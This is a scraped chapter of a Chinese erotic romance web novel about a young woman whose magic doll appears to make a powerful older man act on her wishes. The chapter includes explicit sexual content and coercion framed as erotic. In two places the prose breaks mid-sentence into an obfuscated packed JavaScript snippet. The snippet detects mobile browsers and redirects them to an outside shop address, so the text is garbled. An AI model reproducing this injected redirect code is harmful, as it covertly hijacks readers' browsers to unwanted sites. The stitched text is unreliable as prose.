平时爱看点小黄文的池溪抱着酒瓶傻乐:“等我找到老公,我要做的第一件事就是把我喜欢的和他统统试一遍。” 她喜欢什么?她最爱喝的是厚乳奶茶,喜欢吃爆汁脐橙。 对了,她喜欢的画家是莫奈。 池溪发酒疯不仅容易断片,还像变了个人。虽然比起变了个人这种说法,更像是把内心最真实的那一面彻底释放出来。 某种意义上,她和她那个凤凰男亲爹非常相似。这也是妈妈还在世的时候最担忧的一点。 池溪妈妈的性格是高傲的,她这一辈子唯一犯过错的就是听信了池溪父亲的甜言蜜语,和他在一起了。以至于整个人生都在为这个错误买单。 她不屑于为了金钱弯腰。 池溪的爸爸并不是没有找过她们。 在池溪三岁那年,他回来过。当然不是为了认回池溪或是为了求得她妈妈的原谅。 之所以回来找她们,不过是因为担心池溪的妈妈会带着池溪上门去闹。 听说他现在在岳父的提拔下平步青云,从一开始那个山村里走出来的大专生,一跃成为公司高管。 他是入赘,本来地位就不稳,如果被发现外面不仅有过女人,还有个私生女,恐怕会被扫地出门。 他给了一笔数额很大的封口费,希望池溪妈妈能够将这件事永远藏在肚子里。 妈妈最后只是将那笔钱狠狠砸在了他脸上,并让他滚。 她生下池溪,不是为了拿她当把柄来要挟谁,或是从中获得利益。 她恨池溪的父亲,但她爱池溪,因为这是她第一个孩子,也会是她唯一的孩子。 她是在妈妈的期待中出生的,而不是父亲的嫌弃。 只可惜,池溪性格里的窝囊还是随了她父亲。 基因真是一种可怕的东西。 面对这种既定的事实,池溪只想叹气。 如果她更像妈妈一点,现在是不是就不至于因为这种事情害怕? 她又想到自己屁股上零乱的巴掌印,有些甚至不止是在屁股上。 那天晚上究竟还发生了什么。池溪双手捂着自己的头,怎么也想不起来。 难不成她真的拉着沈决远‘颠了一晚上的勺’? --------------- 昨天宿醉导致的头疼,加上满脑子都是她醉酒后究竟发生了什么的困惑,导致池溪一整天都在魂游天外。 晚上,沈家的餐桌旁。 郑伯母见她又在走神,关切地询问起她的身体状况:“小溪这是怎么了,是身体不舒服吗?” 池溪从愣怔中回过神来,连忙摇头,露出一个乖顺可爱的微笑:“我没事,谢谢郑伯母的关心。我刚才...我只是在想事情而已。” “没事就好。这些天降温,你要多注意身体。有什么缺的和管家说就行,他会去安排的。” 郑伯母对她的关心永远点到为止,会询问,但不会深入。就像是走个过场。此时也是,听到池溪的回答后,她也只是笑了笑,随后又将话题重新放回到沈决远的身上。 家里几乎所有人,对待沈决远的态度比起家人,更像是在讨好一个上位者。 慎之又慎,处处透着小心翼翼。 的确,听说沈伯父给远在北欧的沈决远打去求助电话时,并没有想过他会点头同意。 这个长子很久之前就回到了挪威,他显然不是重视情感的那种人,除了他祖母去世前,他短暂地回国待了三天之外,他与他们并没有任何联系。 沈伯父对于自己长子的动向,也只能和其他人一样,试图在新闻上寻找一些蛛丝马迹。 华尔街能源板块跳涨,科技股全线飘红,深海矿区垄断.... 虽然将这些新闻翻来覆去地看,也找不出一个熟悉的名字。 但沈予亨知道,这些新闻背后的操盘手都是他这位年轻能干的长子。 自己在他面前根本无法展现出为人父的威严。 反而处处做小伏低,看他的脸色。 不过沈决远并没有给过他任何脸色,哪怕没有感情,但他仍旧给予最基本的礼仪与教养。 甚至将这些在他看来繁琐且没必要的规矩,也配合的遵守着。 郑伯母不清楚自己在这中间能帮到什么忙,她脑子里仿佛存在一个被提前设定好的任务——那就是为他寻找一个贤惠温柔的妻子。 这是她唯一能够做到的了。也是沈决远现在唯一缺的。 即使他并没有表现出任何对于这方面的想法。 虽然答应了好姐妹帮忙撮合她女儿和沈决远的婚事,但前几天她去见了泱泱,那孩子过于稚嫩了些。 对沈决远来说,还是个孩子。他一定不会喜欢。 “我前些天还想撮合你和泱泱,现在看来是我考虑不周。泱泱那姑娘和小溪一样,对你来说都还是孩子。” 突然被cue,专心吃饭的池溪愣了一下。 她昨天晚上被狠狠扇过的臀部现在都还悬空着,不敢直接碰到椅子。 她对沈决远来说是孩子? 看来这个长辈有家暴倾向。——她在心里默默吐槽。 池溪早就看出来了,沈决远是个不折不扣的S. 而且还是优雅绅士版本的S. 捆绑都会选择用领带的那种绅士。 池溪早就没了吃饭的胃口,盘子里的那块可怜焦糖布丁都快被她用勺子戳烂了,她也没有吃上一口。 桌下,沈司桥挑衅地踢了她一脚。 在池溪看过去的时候,他又露出一个无比嘲弄的笑容。 他长得很帅,这种帅让他在一众同龄的小辈中出类拔萃,即使没什么能力,仅靠外貌也能出众,足以可见他外形的优越。 但和他哥比起来,瞬间变得平平无奇。 该死! 在这个家里她最讨厌的就是沈司桥,把她当佣人使唤的贱男人。 虽然心里卷起了暴风怒骂,面上还是乖而温顺。 毕竟人在屋檐下,忍一时风平浪静,退一时越想越不爽。 她恼火地抬腿踹了他一脚,想要假装无意地报复回去。 结果脚不小心抬高了点,刚好踹到男人的大腿。 她穿着室内拖鞋,很薄,甚至能够隔着那一层棉感受到被隔着西裤布料,结实健壮的大腿肌肉。 呃.... 家里穿西装的似乎只有两个人。 沈伯父和沈决远。 沈伯父离她远,除非她的腿和沈决远的一样长,否则根本碰不到。 那就只能是...... 她心虚地抬起头。 坐在她斜对面的沈决远此时端起那杯没动过的美式,喝了一口。视线漫不经心地看向她。 深邃的眼眸,带着很淡的警告。警告她赶紧把脚放下去。 池溪立刻吓到把脚收回来。 倒霉。 真是倒霉。池溪这样想道。 不过他的腿..比想象中结实。 郑伯母不死心的再次和沈决远提及为他安排相亲的事情。 不同于以往几次无动于衷的拒绝,这一次沈决远同意了。 郑伯母甚至怀疑自己听错,也不认为沈决远会同意。 或许是怕他反悔,郑伯母连忙开口:“那你喜欢什么类型的女孩子?是可爱乖巧些的,还是成熟懂事些的?我是觉得性格开朗点的女孩子更加适合你。” 毕竟他的情绪总是很淡,是那种无法被掀起任何波澜的淡,没有丝毫感情的淡。有个年轻活泼的妻子在身边,时间长了说不定也能慢慢熨热他的心。 “您看着安排就好。”男人没有表现出太大的兴趣。起身的同时扣好西装外套的前扣,动作优雅从容,“我先走了。” 他晚上还有一场线上的跨国会议要开。 池溪看了眼他离开的背影,突然觉得心脏酸酸涩涩的,像是被什么东西电了一下。 她自私地不希望他结婚。 因为知道,自己永远不可能成为他的结婚对象,与其这样,倒不如让他孤独终老。 池溪觉得自己对他的占有欲来的很没有道理。 可是...她觉得也不是完全没有道理。 ---- 吃完饭,沈司桥又吊儿郎当地在那里挤兑池溪:“你应该感谢我哥替你挡了‘战火’,我妈今天本来是打算给你安排相亲的。” 他的话让池溪短暂地愣了片刻:“什么?” 沈司桥的笑里带着嘲弄:“一个破教书的,个子才到我肩膀,估计和你一样高。” 虽然池溪听完他说的话也对这个所谓的相亲对象失去了兴趣。 但她就是不爽沈司桥总是用这种挑剔的语气评价别人。 于是她嘴比脑子快:“那也比你这种人好。” 说完她就后悔了,因为沈司桥的脸色瞬间变得无比难看:“你说什么?” 这人也太高攻低防了,只能他说评价别人,别人还不能评价他了? 但池溪早就没有胆子继续往下说,她甚至开始后悔刚才不该嘴快怼回去。 这人心眼小,性格也烂,被郑伯母宠成了一事无成的纨绔子。 她可不想寄人篱下的最终结果是被赶出去。 片刻后,沈司桥非但不恼,反而突然笑了, 只是眼里却没有笑意:“呵,你以为我能看上你吗?你就和那个三角路障结婚去吧!” 他踹门离开。 他的离开让池溪松了口气。 不过用三角路障辱骂别人的身材和身高,真够损的。 他但凡有他哥万分之一的绅士风度都不至于这么讨人厌。 当然,他哥也不是什么好东西。 至少在池溪看来是这样。 讨厌她的能是什么好东西。 直到回了房间,她仍旧在闷闷不乐的想着这件事。 沈决远真的要去相亲了吗?郑伯母的人脉很广,她平时的爱好就是和她的老姐妹一起下午茶或是去梨园听曲。 那些老姐妹的女儿孙女也都到了待嫁之年。 都是实打实的名门闺秀,从小接受最好的教育,花费大量金钱和精力堆砌出来的优秀。和她这种半路被认回来的私生女不同。 郑伯母一定会挑了又挑,选了又选,找出一个最最最优秀的人和沈决远相亲。 说不定明年就能喝上他们的喜酒了,后年就能喝到他孩子的满月酒.... 想到这里池溪就觉得自己的胸口被人用钝刀子剜来剜去。 甚至忘了回忆昨天晚上究竟和沈决远在这个房间里发生了什么。 当她抱着枕头痛苦地在床上翻了个身,滚到床边时,视线恰好看到床头旁的垃圾桶。 还有里面那条....被撕烂的包臀裙。 明显是被徒手撕烂的。 ????????????? ??????????? 她满脸震惊,这条豹纹包臀裙她是什么时候穿上的? 她昨天穿的不是长裙吗。 池溪坐起身,刚要下床检查,手压到床尾,隔着被子也能感受到有个硬物在下面。她掀开被子,然后就看到了那条忘记带走的男士皮带。 (是皮带,又不是xx.这句也锁?) 黑色的鳄鱼皮,无论是上面的纹路,还是冰冷的金属卡扣,都在无声宣告这条皮带的昂贵之处。同时也在无声宣告,它的拥有者的身份。 如果说刚才还在心存侥幸,那么现在,她基本上可以肯定了。 .... 算了。 她绝望地在逃避or勇敢面对的选项中选了or。 这条皮带看上去值不少钱,挂咸鱼卖掉说不定还能赚点跑路费。 她必须要在沈决远发现这一切真相后抓紧跑路。 否则她真的担心自己会小命不保。 沈决远的傲慢和冷血都注定了他的处事手段不可能仁慈。她上次无意间听郑伯母和她的姐妹在下午茶时谈及,沈决远在国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016374|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外时,不止一次通过直接切断对方企业供应链与银行授信的方式,在对方不得不宣告破产之前,拿出转让合同,‘逼迫’对方签下。 他的产业遍布整个海外,他这次同意回国,恐怕也不是为了帮沈伯父。 或许他有自己的野心。 他真的很像一头美洲豹,优雅又危险。 不,比起美洲豹,他更是会吃人的野兽。 想到这里,池溪更害怕了。 他如果知道自己通过一个娃娃又是让他给自己kou,又是让他..... 他恐怕会直接让人将她扔进搅拌机里和水泥一起搅拌,然后砌到墙里。 池溪觉越想越害怕。 与其这样,还不如在被他发现之前尽早主动坦白,说不定还能有减刑的机会。 当然,这样的念头只持续了不到一天的时间。 事实上,池溪对于沈决远一见钟情的原因除了他自身迷人的魅力之外,还有她骨子里慕强的天性。 女人大多慕强。 那场晚宴中,年仅二十三岁的他却能够让那些平日里位高权重的上位者们点头哈腰,赔笑示好。 对于池溪来说,这是一种视觉上的冲击。 不见血的暴力美学,就是钱权的至高巅峰。 那一刻的她在想,如果能把他拉下来,拉到自己身边,那是一种怎么样的感觉? 但她显然低估了沈决远,也高估了自己。 在她鼓起勇气去到董事长办公室,想要老实交代一切时。 却在那里看到了战战兢兢地站在办公室内的部长。 她瞬间明白了为什么她那么拙劣的谎言都能骗过那些精明的秘书。 “去人力资源部报备吧,n+1的补偿款会在当天打给你。” 男人随手将手中的方案放进碎纸机内,语气平淡地辞退了他。 这个站在办公桌前,忐忑等待着的中年男人大气也不敢出一下。 他没有询问为什么,也没有为自己求情。他的情绪早就在这种无声的恐惧中被超支了。 池溪还是第一次看到那个盛气凌人的部长露出这样的一面。 他甚至直到离开,都没有注意到外面此时还站着一个人。那个平时负责为他背锅的实习生。 部长那张惨白的脸一直在池溪的脑海里回放。 她紧张地走进去,想了想,还是鼓起勇气为部长说了一句说话:“这个方案改了很多遍。” 她知道,沈决远是因为不满意那个方案,而认为对方没有胜任如今这个职位的能力。 对于她的不请自来,沈决远神情半点未变。 “我只看重结果。” 他也给了很多次机会。 他一丝不苟的穿着让他看上去比在家时更加不近人情。池溪这还是第一次踏足董事长的办公室。比她想象的更具压迫感,不是来自这间办公室,而是来自于沈决远。 他总是这么傲慢吗,在北欧的时候也是? 如果可以的话,她真的狠狠地‘报复’他。 该死的,让人又爱又恨又怕的男人。 “为了这个方案.......我们整个部门连续加了半个月的班。” “你说的这些话除了向我证明你们整个部门都是草包之外,起不到任何作用。”他友好地给出‘提醒’ 如果继续说下去,只会拉着整个部门‘陪葬’ 沈决远的办公室内有一整面酒柜墙,里面存放的都是一些市面上买不到的酒。 他总是用那种平和的语气,说出让人想死的话。 池溪只能闭上嘴。 她觉得沈决远瞧不起她也正常。 在家她是私生女,在公司她是关系户。 对于他这种身份高贵的统治者来说,她的存在甚至不如一块铺在院子里的鹅卵石有用。 她暗自咬了咬唇。 沈决远站在酒柜前扫了一眼,最后选了一瓶红干,于此同时,取下两只高脚杯。 “还有什么事吗?”他松弛地靠站桌边,轻轻转动瓶身去看上面的度数。 8%vol 不算高。 她可以喝。 听到他下达的逐客令,按照池溪以往的性格,她早逃了。 但是.... 现在不是考虑其他事情的时候。她抿了抿唇,那个娃娃此时就在她的外套口袋里放着,她现在要做的是在被沈决远发现之前,主动自首,交代出一切。 他那么聪明,从察觉到异常,再到查出真相,不会很久。 池溪深呼一口气,死就死吧。 她把手伸进外套口袋:“我今天来其实是....” 沈决远看着她。 “呃...我是来....” 对上沈决远的视线后,好不容易生出起的勇气再次荡然无存。 她只能心虚地改口:“昨天...我听我同事说,是您把我送回去的。” “嗯,他送你回来的时候我刚好到家。”沈决远收回视线,将红酒倒入醒酒器内,随后脱了外套,重新坐回自己的办公椅上。 前方的巨幕墙上是海上运输的航线,错综复杂像是人类手臂上的血管。 在他们过来之前,他正好在查看这些航线图。受战乱影响,他的货物没办法从最近的那条航线通行,他只能拓展一些其他方向的航线。 直接收购比较麻烦,还是用老办法吧。又快又方便,还不用担心存在后续麻烦。 “那....”池溪心底的不安被放大,“是您送我回的房间吗?” “对。”比起池溪的逃避,他显得很磊落,回答的也很坦荡。 池溪想扯出一个笑容感谢他,但她不知道她此刻笑的比哭还难看。 “哈哈...哈哈..谢..谢谢沈董。” “我的皮带还在你那里。”沈决远语气平淡。 “嗯.....在我床上。我下次帮您带来?”池溪觉得任何一种情绪一旦超过临界点,人就会变得麻木。 “不用了,直接扔掉吧。” 这句话显然是一个讯号——她可以把那条皮带挂咸鱼卖掉的讯号。 她白天搜了一下皮带的价格,价值两万美金的湾鳄。 池溪此时只能苦中作乐的想,要是他下次能把他的理查德米勒也放在她那里就好了。 这样她不仅可以存够跑路的钱,还可以趁机发一笔财。 哈哈哈开个玩笑。 她觉得自己应该去找个催眠师,说不定能重新记起来那天晚上究竟发生了什么。 这个念头刚生出来她就打定了注意。无论如何她都要强迫自己想起来。 否则她连觉都睡不好。 还有这个娃娃。她不知道这个东西到底是带给她好运的,还是用来诅咒她的。 可以解绑吗?绑定成其他人? 她从昨天就开始思考这个问题了,干脆绑在沈司桥身上吧。这样她就可以每天用针扎它,用火烤它。 对沈决远,她不仅没这个胆子,同时还舍不得。 在她胡思乱想的时候,沈决远突然问她:“身上的香水换了?” “嗯。”她点头,“您说过....讨厌那个味道。 为什么突然这么问。有了之前几次的‘肌肤之亲’ 池溪觉得自己很难不发散思维。 难道他想在这里对她做什么?虽然她的确对办公室play很感兴趣。看的那些小说里,发生在办公室内的剧情都很刺激。 不过她今天的穿着不太合适,早知道这样,她不应该贪图舒适穿的这么随便。 他脱掉商务西装的外套之后,里面是勾勒腰身的西装马甲,脱掉西装马甲之后里面是熨烫到没有一点褶皱的衬衫。整个人除了性感禁欲就是儒雅矜贵。 而她,脱掉卫衣之后里面还有一件叠穿的卫衣,叠穿的卫衣脱掉之后就可以看见那件最里面那件丑陋的保暖内衣。 在此之前一身高档纯羊绒的沈决远极大可能会被她身上聚酯纤维摩擦产生的静电给电到。 当然,这一切都没有发生,沈决远似乎只是随口一问,就让她离开了。 走出办公室的池溪心里还是装着事。本来是打算和他坦白一切的,但还是没有这个胆子。 她从卫衣口袋里拿出那个娃娃。 这个娃娃的功能未免也太灵敏了,连醉酒后说的胡话也能够成真。 那万一某天她不小心说了其他更过分的话呢? 譬如..... 十分钟后,悄悄来到公司顶楼的池溪心虚地对着那个娃娃‘许愿’ “拜托了,让我升职加薪吧,或者...像前天把皮带忘在我那里那样,把你的财产分我一点,一点就行(*^_^*)” 5. 第五章 部门来了新的部长。据说是董事长从他在海外的企业抽调回来的。 对方不愧是沈董亲手调教,严厉程度如出一辙。 池溪这段时间甚至连个喘息的时间都没有,加班更是家常便饭。 好在加班费给的够多。 她有一段时间没有见到沈决远,听说他回了北欧。 虽然平时在家里看到他也没办法和他说上一句话,可看不到他之后反而..会很想他。 池溪真的将他的那条皮带挂到二手平台上打算卖掉,最后还是因为不舍而选择了下架,打算当成‘定情信物’保存起来。 她觉得自己最近变得有些奇怪,满脑子都是沈决远。 像怀春的少女一样。 想到这里,她抿了抿唇,脸开始发红燥热。她最近总能想到那天,沈决远半跪在她膝盖前,将头低下去的瞬间。 那个瞬间持续了很久很久,久到她明明已经受不了,却又不想要他离开。 池溪觉得自己很坏,她就像是在强迫别人一样。 可沈决远,她真的有能力做到强迫他去做自己不喜欢的事情吗? 这个世界上没人能够做到的事情,她可以做得到吗? 这样的念头一闪而过。 她做不到,可是那个娃娃可以。 想到这里,她认为自己很卑鄙。 像沈决远那种位高权重的人,他或许也想不到自己有一天会用嘴巴去吃别人的..... 池溪内疚的同时,又忍不住会去想。 他没有给其他女人做过这种事,那别人为他做过吗。 像他那天跪在她膝盖前那样,有人也跪在他的膝盖前...... 想到这里,她瞬间就不内疚了,甚至还有点不爽。 她的确遗传了她父亲的可悲基因。软弱贪婪。她害怕沈决远,却又希望他只属于她。 池溪不打算和父亲联系的,可是老家发生的一些事情又让她不得不去联系他。 ——她今天早上接到村长打来的电话,妈妈那边的亲戚本来就长期存在着一些金钱纠纷的矛盾。 现在更是直接影响到了姥姥姥爷和妈妈的墓地,村长说如果不及时交给保证金,墓地就会被迁走,到时候需要她回来取走骨灰。 池溪将自己这些年攒的全部积蓄拿出来都不够。 犹豫了很久,她还是给爸爸打去了电话。 但他语气焦急地提醒她这段时间比较敏感,他不能出一点差错:“你最近先别联系我了,你的号码我暂时拉黑。等爸爸竞选成功之后,我会接你回来的,你放心。” 她已经无法再因为这种事情难过了,因为已经习惯了, 爸爸的爱本来就不属于她,他又不是只有她一个女儿。 池溪这么想着,然后擦干净眼泪。 她想起沈决远放在她这里的支票... 刚好十万。 那天结束,他离开之后,她躺在床上缓了好久双腿才停止抽搐,她是扶着墙下的床。因为腿已经酸软了,像泡软的面条。 那张支票她根本就没胆子用。 如果用了,算是另一种意义的盗窃吗? 可是现在.... 池溪的手慢慢伸进抽屉,她将那张支票取出来。 上面的字迹笔走龙蛇,力透纸背。字如其人,和他一样完美。 她甚至产生了一种错觉,仿佛这张支票上还残留着沈决远身上的体温。 她突然间很想他,很想很想,想见见他,也想抱抱他。 再没有哪个瞬间比现在的欲望更加强烈了。 池溪其实对缺席的父爱并没有那么向往,因为她的身边有爱她的妈妈。 但她偶尔也会好奇,经常出现在作文选题中的父爱如山究竟是什么。 直到暑假那年,她看到出现在客厅里的男人。 他告诉她,他是爸爸。 从那之后池溪确信,父爱是个可有可无的东西。 因为看不见,摸不着,也感受不到。 - 空气中有淡淡的水声。 池溪偶尔会在压力大或是难过的时候做这种事情。 因为她认为这是刺激多巴胺最方便的一种方法。 可她很少做,因为她讨厌结束后的空虚感。 她更希望在此刻被人抱在怀里,温柔地进行事后安抚。 可是只有她自己时,她连拥抱自己都做不到。不知道为什么,她想到了沈决远。 沈决远那张冷淡英俊的脸出现在她的脑海里。 不,应该说他的脸一直就存在于她的脑海里。从开始到结束.... 池溪是想着他做完这一切的。 她羞耻的想,这种事情千万不能让他知道。他肯定会用那种疏离且淡漠的眼神看她。 或许还会带些傲慢的厌恶。 或许是她的恶趣味,也或许是她的某种私心,她故意打湿了那些娃娃。水柱浇淋上去,瞬间就湿透了。 她又不受控制地想到那天的沈决远。看来这个娃娃真的会让人直接迷失心智,否则为什么洁癖那么严重的沈决远,那天却一滴不剩地全部喝光了。 她抿了抿唇,耳朵几乎要红透了。 老板没有告诉她娃娃能不能碰水,如果把它洗干净的话,作用会失效吗?那她还要不要洗呢。 一旁的手机铃声打断了她的胡思乱想。 池溪回过神来,放下娃娃去拿手机。 看着屏幕上方的跨国号码。 除了诈骗,她想不通还有哪个在国外的人会给她打电话。 但她还是按下了接通。 “喂...请问哪位?” 在她主动开口后,电话那头才有声音传出。醇厚低沉的男声,像铺着厚重绒布的古典钢琴。勾人心弦,令人着迷。 “是我。” 对方似乎在抽烟,因为她听到淡淡的呼吸声传来。 声音也被烟雾燎的有些沙哑。 池溪突然心虚起来:“沈董。” “现在不是在公司。”他淡声提醒。 这是在提醒她改口。可她应该叫他什么呢。 她试探着开了口:“沈先生....” 那边沉默几秒。 男人似乎接受了这个带着尊敬与疏离的称呼。 “您这么晚给我打电话有什么事情吗?” 他平静地反问:“你刚才在做什么?” “啊??”她猛地愣住,后背迅速冒出一身冷汗。原来人在受到惊吓的时候,身体是真的会迅速冒出冷汗的。 “为为为为......为什么突然这么问?” 她心虚地把那个娃娃藏在枕头下面。 难道这种也会产生共感? “Joule说你不能胜任这份工作。” Joule就是新来的部长。 听到他的话,池溪松了很长的一口气。 但同时又有些生气。她不知道那个人居然还玩告状这一套。 本来对他的严厉没什么好感的池溪这下更是满腹委屈。 “我只是...我只是完成的有些费力而已。” 他的声音沉稳:“这里的‘有些费力’是指,别人两天就能完成的工作,你需要一周?” “我......对不起。” 能在一周内完成,已经是她减少睡眠时间,每天熬夜加班换取的结果。 但这些话她不能和沈决远说。 因为他并不会认为她很努力,甚至会因此确信她是一个废物。 她无法想象他在海外的商业版图拓宽的有多庞大,但池溪能够从他身上所携带的压迫感中感受到,他一定,在一个很高的位置上。 至少是她这辈子都接触不到的。 有的时候觉得自己很可怜,作为一个平平无奇的人,却遇到了一个如此耀眼的人。 她这辈子还能爱上别人吗?答案是肯定的。肯定不能。 唉,算了,不结婚其实也是一件好事。 她看了郑伯母给她找的那个相亲对象的照片了。沈司桥虽然说话夸张了一点,但他也没说错。的确个子很矮,但肩又很宽。 虽然这么说有些侮辱人...的确有点像三角路障。 “司桥和你说了。”听到耳边传来的淡声询问,池溪知道他问的是她相亲对象的事情。 她想不到沈决远居然还会关心她,有些受宠若惊:“嗯,伯母把照片给我看过了,是大学老师。” “你是怎么想的?” “司桥说.....” 他淡声打断:“不要管别人的意见,关键是你自己怎么想。” 她从他的语气里听出了几分不耐。他一定是反感她的犹豫不决和没有主见。 她当然不想,但她又没办法直接拒绝。郑伯母对待她的态度有点像施舍。池溪如果不接受,那就是不识抬举眼光高。 因此,她闷闷不乐地开了口:“我只是一个见不得光的私生女,和谁结婚,我自己又做不了主。” 那边安静了很久,男人不再说话。只是偶尔会有木柴燃烧时发出的声音。 她想,他那边应该有个巨大的壁炉,并且离他很近。 他现在在哪,是在公司处理工作,还是住在他的私人庄园里。 他在北欧的庄园一定比这里更大。 池溪很好奇,那里长什么样子。他长大的地方长什么样子。听说北欧的气候很冷,连风都是凌冽刺骨的。 一如沈决远这个人。他就像是由珐琅刀鞘与打磨过后的匕首组成。 锋利危险的内在被优雅的皮囊所覆盖。 被他这样的人迷惑,并因此着迷,是一件理所当然的事情。 若隐若现的危险与儒雅交织,他会表现出平易近人,可他骨子里又是高傲的,是不屑一顾的。 正是因为看不透,所以这份危险才是致命的。 同时,吸引力也是致命的。 哪怕只是隔着手机,听到他夹杂着电流稍微有些失真的声音,池溪都会产生那种电流流过全身的悸动。 她抿唇,并拢腿,坐在床边。那个娃娃此时就放在她的腿上,她也不嫌弃上面全是水了。 她在想,如果沈决远在家的话,那他是一个人吗。身边有没有其他人? 虽然沈司桥说他哥身边的女人不会少,但池溪觉得不会是这样。 可这么晚了,他却还没有休息。他在给她打电话之前,又在做什么呢? 池溪的目光重新放回到娃娃身上。 想到沈司桥之前说过的话,她又开始感到不安。 她用试探的语气询问沈决远:“那您呢,郑伯母也给您安排了相亲,你会去吗?” “嗯,我答应她会去。” 好吧,他的确是个言而有信的人。答应过的事情就会做到。 池溪的心揪到了一起,她无法诉说她的不安,她甚至都没有立场去吃醋。 可是她的私心还是希望他不要去相亲,不要结婚。 万一呢,万一他是不婚主义呢。国外很多不婚主义,他虽然只属于半个外国人,但他从小就在挪威长大,观念和习惯肯定也会更接近那一边。 不过她等来的回答却不是自己想要的。 “我会结婚。”他说。 挂断电话后,池溪一个人在床上躺了很久。久到那个被打湿的娃娃早就干透了。 ——“我的未婚妻,不可能是一个私生女。” 这句话直到现在还在她的脑海里回响。 明明他只是在回答她的问题而已。 甚至连语气都是平缓的,可作为私生女的池溪,却敏感地自我代入。 她认为,这是沈决远对她的拒绝,也是一种侮辱。 无论那副儒雅的绅士皮囊再完美,也改变不了他傲慢挑剔的恶劣灵魂。 原来根本就不是她的错觉。 沈决远的确厌恶她.... 不仅厌恶,甚至是反感。 可既然反感,为什么还要给她打电话? - 挪威的时间是凌晨三点。沈决远不清楚自己为什么给池溪打去这通电话。他是在忙于工作上的事情时,突然想到了她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016375|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没有任何缘由,四周突然充斥着她身上的气味,甚至比之前几次更加浓郁。还带着一种难以言说的粘稠。 他松了松领带,让此时正在他的书房进行工作汇报的人离开了。 他三十岁的身体变得像十五岁少年一样,无法克制。 灯没有关,他身上还是那套禁欲正式的西装,只是衬衫下摆被他的牙齿咬着。 他突然很想听听池溪的声音。她的声音其实没什么特别,除了比一般人软一点,轻一点之外,说话总是唯唯诺诺。 他的电话打过去,她很快就接了。国内的时间应该是上午十点。 “喂,请问哪位?” “是我。” 他对她在做什么,她的想法是什么,并不感兴趣。 只是为了听听她的声音助兴。 效果很好,它显然很兴奋。 “那您....您喜欢什么类型的女生?”直到话题转到他的身上,沈决远微不可察地皱了皱眉。 不过他还是维持着风度礼仪回答了她:“应该是温顺点的。” 电话那边沉默了很久,再然后,是她紧张到开始发抖的声音:“您觉得....我.....我大舅的女儿的同学的姑妈的闺蜜的女儿可以吗,她....她长得挺漂亮的,性格也很好,但她妈妈是未婚先孕,她爸爸有其他的家庭。” 沈决远甚至没有思考:“我的未婚妻,不可能是一个私生女。” 电话挂了,对方挂的。 沈决远并没有回拨过去。那股气味还没有消失,或许是闻习惯了,他已经感受不到廉价和刺鼻,反而对这股味道有些上瘾。 上次见她,她似乎换了香水。 这次显然又换了回来。 原本堆放着合同的办公桌,此时早就被清空。只有一张工作牌放在上面。 是她上次来他办公室时,不小心掉落的。被他捡了起来,但没有归还。 工作牌上的照片是一张加班熬夜熬到脸色惨白,精神萎靡盯着镜头的脸。 即使狼狈,但有一点很明确。 ——她很漂亮。 外面的天色开始亮了,挪威的日出很美。 男人已经起身离开,进了浴室。 工作牌上,那张漂亮的脸蛋,秽物挡住了她的脸。 - 池溪哭了一晚,哭累了就抱着娃娃睡着了。 毕竟人虽然贱,但娃娃是无辜的。 醒了之后,她突然想起什么。 昨晚她似乎在极度悲痛的情况下放出过什么不过脑子的狠话。 ——既然他这么清高,那就让他对自己这个他看不上的私生女爱而不得好了。贱男人贱男人贱男人贱男人.... 她已经记不清自己说的是爱而不得还是欲求不满了。 她讨厌沈决远,她渴望从他身上获得一点点的爱。 可每次换来的都是冷淡的绝情。 她已经想好了,不会再喜欢他了。 她抬手抹了把眼泪,准备去洗漱时,手机收到一条来自大洋彼岸传来的消息。 是一张图片。 池溪想过缅北诈骗犯发过来的都没想过是沈决远发来的。 好吧,现在的诈骗犯手段又升级了,都开始色诱了。 也不知道是在哪个网站上保存的,身材居然这么好。 黑色的毛衣下摆刚好被拉到胸口上方,露出强悍结实的上身躯干。 鼓胀的胸肌形状饱满,宽肩与劲窄腰身构成极具侵略性的倒三角。将毛衣袖子绷紧撑出明晰线条的肱二头肌与肱三头肌也带着野性的张力。 人鱼线沿着髋骨没入未知深处。 当她看清上方的联系人备注时,直接愣了半分钟。 这是沈..沈决远的扔子???? 不是,这是沈决远发来的照片? 池溪伸手擦掉嘴角的口水。 看来微微说的果然没错,他的扔子..的确很大。 想埋。 好吧,看来她昨天晚上说的是欲求不满。 时间卡的很好,刚好够她看清。甚至来不及保存,就显示对方已撤回。 Eli:发错了。 池溪想了想,回过去一句:不用担心,我没点开(*^_^*) 那边沉默了很久,然后才有回复 Eli:嗯。 虽然猜不到他现在是什么表情,但池溪还是爽的不得了。 这位高贵的上位者恐怕是生平第一次主动开屏,结果惨遭无视。 以他这个傲慢清高的性格,或许他在拍下这张袒胸露奈照和假装错发给她之前,就做了很久的心理准备。 在昨天那件事后,池溪对他已经毫无心理负担了。 她讨厌沈决远。 这个利益至上的黑心资本家,不仅有着居高临下的傲慢,还有被铜臭污染过的肮脏灵魂。 不像她,虽然穷得叮当响,但起码还有两袖清风。 不过那张照片里,除了他结实性感的肌肉之外,还有不同地方不同位置,密密麻麻被咬出来的牙印和明显是脚踹过,巴掌扇过的红痕。 那些都是池溪生气的时候对着娃娃一顿乱揍乱啃发泄导致的。 池溪还以为她对娃娃的殴打并没有和沈决远产生共感。 .....看来这个人只是比较擅长忍痛而已。 不过.....她又忍不住回味了。 